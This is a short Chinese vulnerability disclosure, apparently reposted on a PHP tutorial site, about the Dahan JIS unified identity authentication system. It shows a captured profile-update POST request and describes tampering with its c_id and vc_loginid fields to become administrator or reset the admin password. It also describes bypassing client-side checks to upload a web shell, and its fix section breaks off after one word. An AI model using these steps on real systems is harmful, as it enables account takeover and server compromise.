来源：自学PHP网 时间：2015-04-16 23:14 作者： 阅读:次
[导读] 大汉通版jis统一身份认证系统:在用户修改信息时进行抓包发现POST:http: 10 11 5 201:9080 jis front upduser_do jspCONTENT:c_id=00000vc_loginid=adminvc_password=123456vc_pwd=123456vc_username=系统管...
|
大汉通版jis统一身份认证系统:
 在用户修改信息时进行抓包发现
 POST:
http://10.11.5.201:9080/jis/front/upduser_do.jsp
CONTENT:
c_id=00000&vc_loginid=admin&vc_password=123456&vc_pwd=123456&vc_username=系统管理员&vc_headship=&vc_comptel=&vc_compfax=&vc_mobile=&vc_email=&vc_qq=&vc_msn=&vc_hometel=&vc_usergroupid=&vc_usergroupname=
经过验证c_id为权限控制字段，00000为管理员，vc_loginid为登陆名称，vc_password以及
vc_pwd为密码，
(1)用户权限提升:
在修改个人信息时进行抓包，将c_id修改成0000，即可提升为系统管理员，
 (2)重置管理员密码
将c_id改为00000以及将登陆名称vc_loginid改成admin 密码修改为自己的即可
 (3)任意文件上传漏洞
 上传地址:http://url//jis/update/update.jsp
去掉本地js验证
shell地址:http://10.11.5.201:9080/jis/update/data/上传的文件名
 修复方案： 控制 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
